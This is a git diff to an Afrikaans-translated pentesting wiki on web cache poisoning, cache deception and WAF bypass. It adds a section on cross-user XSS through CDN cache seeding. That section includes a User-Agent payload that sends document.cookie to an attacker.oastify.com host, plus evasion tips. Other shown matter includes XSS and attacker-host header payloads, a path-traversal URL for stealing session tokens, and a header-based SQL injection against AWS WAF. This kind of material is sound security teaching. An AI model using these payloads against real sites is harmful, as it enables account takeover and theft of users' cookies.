Translated ['src/pentesting-web/cache-deception/README.md', 'src/pentest

2025-10-10 18:36:50 +00:00 · 2025-08-21 06:07:51 +00:00 · 2025-08-21 06:07:51 +00:00 · 038d9ae5c1
commit 038d9ae5c1
parent 1fd39c3c2e
2 changed files with 97 additions and 41 deletions
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@ -6,8 +6,8 @@

 > **Wat is die verskil tussen web cache poisoning en web cache deception?**
 >
-> - In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
-> - In **web cache deception** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
+> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
+> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.

 ## Cache Poisoning

@ -16,7 +16,7 @@ Cache poisoning is daarop gemik om die kliënt-kant cache te manipuleer om klië
 Die uitvoering van 'n cache poisoning aanval behels verskeie stappe:

 1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer.
-2. **Eksploitatie van die Ongekykte Insette**: Nadat die ongekykte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se antwoord op 'n manier te verander wat die aanvaller bevoordeel.
+2. **Eksploitering van die Ongekykte Insette**: Nadat die ongekykte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se antwoord op 'n manier te verander wat die aanvaller bevoordeel.
 3. **Verseker dat die Besmette Antwoord in die Cache Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde antwoord in die cache gestoor word. Op hierdie manier sal enige gebruiker wat toegang tot die betrokke bladsy verkry terwyl die cache besoedel is, die besmette antwoord ontvang.

 ### Ontdekking: Kontroleer HTTP koptekste
@ -37,7 +37,7 @@ Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor w

 ### Ontdekking: Identifiseer en evalueer ongekykte insette

-Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koptekste te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteken `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
+Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **brute-force parameters en koptekste** te **identifiseer wat moontlik die antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteken `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
@ -58,12 +58,12 @@ Een meer kop wat verband hou met die cache is **`Age`**. Dit definieer die tyd i

 Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy gebruik** omdat sommige daarvan **onverwagte** as **gesleuteld** gebruik kan word en die **slagoffer sal daardie selfde kop moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende blaaiers** om te kyk of dit werk.

-## Exploitering Voorbeelde
+## Exploiteringsvoorbeelde

 ### Eenvoudigste voorbeeld

 'n Kop soos `X-Forwarded-For` word in die reaksie ongesuiwer reflekteer.\
-Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang, XSS sal ervaar:
+Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang, XSS sal hê:
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
@ -82,12 +82,12 @@ cache-poisoning-to-dos.md
 In **[hierdie skrywe](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** word die volgende eenvoudige scenario verduidelik:

 - Die CDN sal enigiets onder `/share/` kas.
- Die CDN sal NIE `%2F..%2F` decodeer of normaliseer nie, daarom kan dit gebruik word as **pad traversie om toegang te verkry tot ander sensitiewe plekke wat gekas sal word** soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Die webbediener SAL `%2F..%2F` decodeer en normaliseer, en sal antwoordgee met `/api/auth/session`, wat **die auth token bevat**.
+- Die CDN sal NIE dekodeer of normaliseer nie `%2F..%2F`, daarom kan dit gebruik word as **pad traversering om toegang te verkry tot ander sensitiewe plekke wat gekas sal word** soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- Die webbediener SAL dekodeer en normaliseer `%2F..%2F`, en sal antwoordgee met `/api/auth/session`, wat **die auth token bevat**.

 ### Gebruik van web cache vergiftiging om koekie-hantering kwesbaarhede te benut

-Koekies kan ook op die antwoord van 'n bladsy weerspieël word. As jy dit kan misbruik om 'n XSS te veroorsaak, kan jy in staat wees om XSS in verskeie kliënte te benut wat die kwaadwillige kasantwoord laai.
+Koekies kan ook op die antwoord van 'n bladsy weerspieël word. As jy dit kan misbruik om 'n XSS te veroorsaak, kan jy dalk XSS in verskeie kliënte benut wat die kwaadwillige kasantwoord laai.
 ```html
 GET / HTTP/1.1
 Host: vulnerable.com
@ -105,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md

 ### Cache vergiftiging met pad traversering om API-sleutel te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-[**Hierdie skrywe verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat pas by `/share/*` gegee sal word, sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
+[**Hierdie skrywe verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat pas by `/share/*` in die cache gestoor sal word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.

 Dit word ook beter verduidelik in:

@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md

 ### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word, en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** stuur en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
+Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -133,7 +133,7 @@ X-Host: attacker.com
 ```
 ### Fat Get

-Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die kasbediener die een uit die URL kas, sal enigeen wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
+Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die kasbediener die een uit die URL kas, sal enigiemand wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@ -144,7 +144,7 @@ report=innocent-victim
 ```
 There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

-### Parameter Cloacking
+### Parameter Cloaking

 Byvoorbeeld, dit is moontlik om **parameters** in ruby bedieners te skei met die karakter **`;`** in plaas van **`&`**. Dit kan gebruik word om ongekeyde parameterwaardes binne gekeyde te plaas en dit te misbruik.

@ -160,31 +160,67 @@ Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vul

 Voorbeeld gebruik: `wcvs -u example.com`

+### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
+
+Hierdie werklike patroon kettings 'n header-gebaseerde refleksie primitief met CDN/WAF gedrag om betroubaar die gekapte HTML wat aan ander gebruikers bedien word, te vergiftig:
+
+- Die hoof HTML het 'n onbetroubare versoekheader (bv. `User-Agent`) in uitvoerbare konteks weerspieël.
+- Die CDN het cache headers verwyder, maar 'n interne/oorsprong cache het bestaan. Die CDN het ook versoeke wat eindig in statiese uitbreidings (bv. `.js`) outomaties gekap, terwyl die WAF swakker inhoudinspeksie op GETs vir statiese bates toegepas het.
+- Versoekvloei quirks het 'n versoek na 'n `.js` pad toegelaat om die cache sleutel/variant wat vir die daaropvolgende hoof HTML gebruik is, te beïnvloed, wat kruis-gebruiker XSS via header refleksie moontlik maak.
+
+Praktiese resep (waargeneem oor 'n gewilde CDN/WAF):
+
+1) Van 'n skoon IP (vermy vorige reputasie-gebaseerde afgraderings), stel 'n kwaadwillige `User-Agent` in via blaaiers of Burp Proxy Match & Replace.
+2) In Burp Repeater, berei 'n groep van twee versoeke voor en gebruik "Send group in parallel" (enkele-pakket modus werk die beste):
+- Eerste versoek: GET 'n `.js` hulpbron pad op dieselfde oorsprong terwyl jy jou kwaadwillige `User-Agent` stuur.
+- Onmiddellik daarna: GET die hoofblad (`/`).
+3) Die CDN/WAF routering wedloop plus die outomaties gekapte `.js` saai dikwels 'n vergiftigde gekapte HTML variasie wat dan aan ander besoekers wat dieselfde cache sleutel toestande deel, bedien word (bv. dieselfde `Vary` dimensies soos `User-Agent`).
+
+Voorbeeld header payload (om nie-HttpOnly koekies te exfiltreer):
+```
+User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
+```
+Operational tips:
+
+- Baie CDNs verberg cache headers; vergiftiging mag slegs op multi-uur verfris siklusse verskyn. Gebruik verskeie waarnemings-IP's en beperk spoed om koerslimiet of reputasie-triggers te vermy.
+- Om 'n IP van die CDN se eie wolk te gebruik, verbeter soms die routering konsekwentheid.
+- As 'n streng CSP teenwoordig is, werk dit steeds as die refleksie in die hoof HTML-konteks uitgevoer word en CSP inline uitvoering toelaat of deur konteks omseil word.
+
+Impact:
+
+- As sessie koekies nie `HttpOnly` is nie, is nul-klik ATO moontlik deur massale eksfiltrasie van `document.cookie` van alle gebruikers wat die vergiftigde HTML ontvang.
+
+Defenses:
+
+- Stop om versoek headers in HTML te reflekteer; kodeer streng konteks as dit onontbeerlik is. Stem CDN en oorspronklike cache beleide op mekaar af en vermy variasie op onbetroubare headers.
+- Verseker dat WAF inhoud inspeksie konsekwent toepas op `.js` versoeke en statiese paaie.
+- Stel `HttpOnly` (en `Secure`, `SameSite`) op sessie koekies.
+
 ## Vulnerable Examples

 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

-ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So die versoek `/#/../?r=javascript:alert(1)` is na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.
+ATS het die fragment binne die URL voortgegee sonder om dit te verwyder en het die cache sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So die versoek `/#/../?r=javascript:alert(1)` is na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.

 ### GitHub CP-DoS

-Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde antwoord geaktiveer. Die cache sleutel het die koekie bevat, so dit was slegs moontlik om ongeauthentiseerde gebruikers aan te val.
+Die stuur van 'n slegte waarde in die content-type header het 'n 405 cached response geaktiveer. Die cache sleutel het die koekie bevat, so dit was slegs moontlik om ongeauthentiseerde gebruikers aan te val.

 ### GitLab + GCP CP-DoS

-GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So dit was moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun.
+GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **header `x-http-method-override`**. So dit was moontlik om die header `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë response liggaam terug te gee. Dit kon ook die metode `PURGE` ondersteun.

 ### Rack Middleware (Ruby on Rails)

-In Ruby on Rails toepassings word Rack middleware dikwels gebruik. Die doel van die Rack kode is om die waarde van die **`x-forwarded-scheme`** kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 omleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer omlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
+In Ruby on Rails toepassings word Rack middleware dikwels gebruik. Die doel van die Rack kode is om die waarde van die **`x-forwarded-scheme`** header te neem en dit as die versoek se skema in te stel. Wanneer die header `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` header erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.

 ### 403 and Storage Buckets

-Cloudflare het voorheen 403-antwoorde gecache. Pogings om S3 of Azure Storage Blobs met onakkurate Owerheidskoppe te benader, sou 'n 403-antwoord lewer wat gecache is. Alhoewel Cloudflare opgehou het om 403-antwoorde te cache, kan hierdie gedrag steeds in ander proxy-dienste teenwoordig wees.
+Cloudflare het voorheen 403 responses ge-cached. Pogings om S3 of Azure Storage Blobs met onkorrekte Owerheids headers te benader, sou 'n 403 response lewer wat ge-cached is. Alhoewel Cloudflare opgehou het om 403 responses te cache, mag hierdie gedrag steeds in ander proxy dienste teenwoordig wees.

 ### Injecting Keyed Parameters

-Caches sluit dikwels spesifieke GET parameters in die cache sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foute waarde gestuur is, sou die cache sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request fout.
+Caches sluit dikwels spesifieke GET parameters in die cache sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke ge-cached. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) ook met 'n foute waarde gestuur is, sou die cache sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. 'n Waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request fout.

 ### User Agent Rules

@ -192,7 +228,7 @@ Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met

 ### Illegal Header Fields

-Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopname. Koppe wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request antwoord te aktiveer. In praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Opmerkelijke voorbeeld is Akamai, wat koppe met ongeldige karakters deurgee en enige 400 fout cache, solank die `cache-control` kop nie teenwoordig is nie. 'n Eksploiteerbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, 'n cachebare 400 Bad Request fout sou lewer.
+Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in header name. Headers wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request response te aktiveer. In praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Opmerkelijke voorbeeld is Akamai, wat headers met ongeldige karakters deurgee en enige 400 fout cache, solank die `cache-control` header nie teenwoordig is nie. 'n Eksploiteerbare patroon is geïdentifiseer waar die stuur van 'n header met 'n onwettige karakter, soos `\`, 'n cachebare 400 Bad Request fout sou lewer.

 ### Finding new headers

@ -202,7 +238,7 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aan

 Die doel van Cache Deception is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**.

-Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.
+Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die response stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.

 Ander dinge om te toets:

@ -217,13 +253,13 @@ Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hack
 In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache bediener gaan die resultaat stoor.\
 Dan kan die **aanvaller** _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiers toegang verkry en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.

-Let daarop dat die **cache proxy** moet wees **gekonfigureer** om **cache** lêers **gebaseer** op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).
+Let daarop dat die **cache proxy** moet wees **gekonfigureer** om **lêers** **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).

-Leer hier oor hoe om [Cache Deceptions-aanvalle uit te voer wat HTTP Request Smuggling misbruik](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
+Leer hier hoe om [Cache Deceptions aanvalle uit te voer wat HTTP Request Smuggling misbruik](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

 ## Automatic Tools

- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skandeerder om web cache poisoning kwesbaarhede in 'n lys van URL's te vind en verskeie inspuitings tegnieke te toets.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skandeerder om web cache vergiftiging kwesbaarhede in 'n lys van URL's te vind en verskeie inspuitings tegnieke te toets.

 ## References

@ -233,6 +269,8 @@ Leer hier oor hoe om [Cache Deceptions-aanvalle uit te voer wat HTTP Request Smu
 - [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
 - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
+- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)


 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/proxy-waf-protections-bypass.md
+++ b/src/pentesting-web/proxy-waf-protections-bypass.md
@ -74,8 +74,8 @@ deny all;

 ### Pad Verwarring

-[**In hierdie pos**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) word verduidelik dat ModSecurity v3 (tot 3.0.12), **die `REQUEST_FILENAME`** veranderlike onvanpas geïmplementeer het wat veronderstel was om die toeganklike pad (tot die begin van die parameters) te bevat. Dit is omdat dit 'n URL-dekodeer uitgevoer het om die pad te verkry.\
-Daarom sal 'n versoek soos `http://example.com/foo%3f';alert(1);foo=` in mod security veronderstel dat die pad net `/foo` is omdat `%3f` in `?` omgeskakel word wat die URL-pad beëindig, maar eintlik sal die pad wat 'n bediener sal ontvang `/foo%3f';alert(1);foo=` wees.
+[**In hierdie pos**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) word verduidelik dat ModSecurity v3 (tot 3.0.12), **die `REQUEST_FILENAME`** veranderlike onregverdig geïmplementeer het wat veronderstel was om die toeganklike pad (tot die begin van die parameters) te bevat. Dit is omdat dit 'n URL-dekodeerproses uitgevoer het om die pad te verkry.\
+Daarom sal 'n versoek soos `http://example.com/foo%3f';alert(1);foo=` in mod security veronderstel dat die pad net `/foo` is omdat `%3f` in `?` omgeskakel word wat die URL-pad beëindig, maar eintlik sal die pad wat 'n bediener ontvang `/foo%3f';alert(1);foo=` wees.

 Die veranderlikes `REQUEST_BASENAME` en `PATH_INFO` was ook deur hierdie fout geraak.

@ -83,11 +83,11 @@ Iets soortgelyks het in weergawe 2 van Mod Security gebeur wat 'n beskerming toe

 ## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>

-### Verkeerde Kop
+### Verkeerde Header

-[Hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) noem dat dit moontlik was om AWS WAF-reëls wat op HTTP-koppe toegepas is, te omseil deur 'n "verkeerde" kop te stuur wat nie behoorlik deur AWS ontleed is nie, maar wel deur die agtergrondbediener.
+[Hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) noem dat dit moontlik was om AWS WAF-reëls wat op HTTP-headers toegepas is, te omseil deur 'n "verkeerde" header te stuur wat nie behoorlik deur AWS ontleed is nie, maar wel deur die agtergrondbediener.

-Byvoorbeeld, deur die volgende versoek met 'n SQL-inspuiting in die kop X-Query te stuur:
+Byvoorbeeld, deur die volgende versoek met 'n SQL-inspuiting in die header X-Query te stuur:
 ```http
 GET / HTTP/1.1\r\n
 Host: target.com\r\n
@ -102,7 +102,7 @@ Dit was moontlik om AWS WAF te omseil omdat dit nie verstaan het dat die volgend

 ### Versoekgrootte beperkings

-Gewoonlik het WAFs 'n sekere lengtebeperking van versoeke om te kontroleer, en as 'n POST/PUT/PATCH-versoek daarbo is, sal die WAF die versoek nie kontroleer nie.
+Gewoonlik het WAFs 'n sekere lengtebeperking van versoeke om na te gaan, en as 'n POST/PUT/PATCH-versoek daarbo is, sal die WAF die versoek nie nagaan nie.

 - Vir AWS WAF kan jy [**die dokumentasie nagaan**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**

@ -112,8 +112,8 @@ Gewoonlik het WAFs 'n sekere lengtebeperking van versoeke om te kontroleer, en a

 Ou Web Application Firewalls met Core Rule Set 3.1 (of laer) laat boodskappe groter as **128 KB** toe deur versoekliggaamondersoek af te skakel, maar hierdie boodskappe sal nie op kwesbaarhede nagegaan word nie. Vir nuwer weergawes (Core Rule Set 3.2 of nuwer) kan dieselfde gedoen word deur die maksimum versoekliggaamlimiet te deaktiveer. Wanneer 'n versoek die groottegrens oorskry:

-As p**reventiemodus**: Teken die versoek aan en blokkeer dit.\
-As **deteksie-modus**: Ondersoek tot by die limiet, ignoreer die res, en teken aan as die `Content-Length` die limiet oorskry.
+As **voorkoming modus**: Teken die versoek aan en blokkeer dit.\
+As **deteksie modus**: Ondersoek tot by die limiet, ignoreer die res, en teken aan as die `Content-Length` die limiet oorskry.

 - Van [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**

@ -123,7 +123,24 @@ Standaard ondersoek die WAF slegs die eerste 8KB van 'n versoek. Dit kan die lim

 Tot 128KB.

-### Obfuskaasie <a href="#obfuscation" id="obfuscation"></a>
+### Statiese bates ondersoek gapings (.js GETs)
+
+Sommige CDN/WAF-stapels pas swak of geen inhoudondersoek toe op GET-versoeke vir statiese bates (byvoorbeeld paaie wat eindig op `.js`), terwyl hulle steeds globale reëls soos spoedbeperking en IP-reputasie toepas. Saam met outo-kas van statiese uitbreidings kan dit misbruik word om kwaadwillige variasies te lewer of te saai wat daaropvolgende HTML-antwoorde beïnvloed.
+
+Praktiese gebruiksgevalle:
+
+- Stuur payloads in onbetroubare koppe (bv. `User-Agent`) op 'n GET na 'n `.js` pad om inhoudondersoek te vermy, en vra dan onmiddellik die hoof HTML aan om die gekaste variasie te beïnvloed.
+- Gebruik 'n vars/skoon IP; sodra 'n IP gemerk is, kan routeringveranderinge die tegniek onbetroubaar maak.
+- In Burp Repeater, gebruik "Stuur groep in parallel" (enkele-pakket styl) om die twee versoeke (`.js` dan HTML) deur dieselfde front-end pad te jaag.
+
+Dit pas goed saam met kop-refleksie kas vergiftiging. Sien:
+
+- {{#ref}}
+cache-deception/README.md
+{{#endref}}
+- [Hoe ek 'n 0-Klik Rekening oorname in 'n openbare BBP gevind het en dit benut het om toegang tot Admin-Vlak funksies te verkry](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+
+### Obfuskaasie <a href="#ip-rotation" id="ip-rotation"></a>
 ```bash
 # IIS, ASP Clasic
 <%s%cr%u0131pt> == <script>
@ -133,7 +150,7 @@ Tot 128KB.
 ```
 ### Unicode Kompatibiliteit <a href="#unicode-compatability" id="unicode-compatability"></a>

-Afhangende van die implementering van Unicode normalisering (meer inligting [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), kan karakters wat Unicode kompatibiliteit deel, in staat wees om die WAF te omseil en as die bedoelde las te voer. Kompatible karakters kan [hier](https://www.compart.com/en/unicode) gevind word.
+Afhangende van die implementering van Unicode normalisering (meer inligting [hier](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), mag karakters wat Unicode kompatibiliteit deel, in staat wees om die WAF te omseil en as die bedoelde las te voer. Kompatible karakters kan [hier](https://www.compart.com/en/unicode) gevind word.

 #### Voorbeeld <a href="#example" id="example"></a>
 ```bash
@ -143,13 +160,13 @@ Afhangende van die implementering van Unicode normalisering (meer inligting [hie
 ```
 ### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>

-Soos genoem in [**hierdie blogpos**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), om WAFs te omseil wat 'n konteks van die gebruiker se invoer kan handhaaf, kan ons die WAF tegnieke misbruik om werklik die gebruiker se invoer te normaliseer.
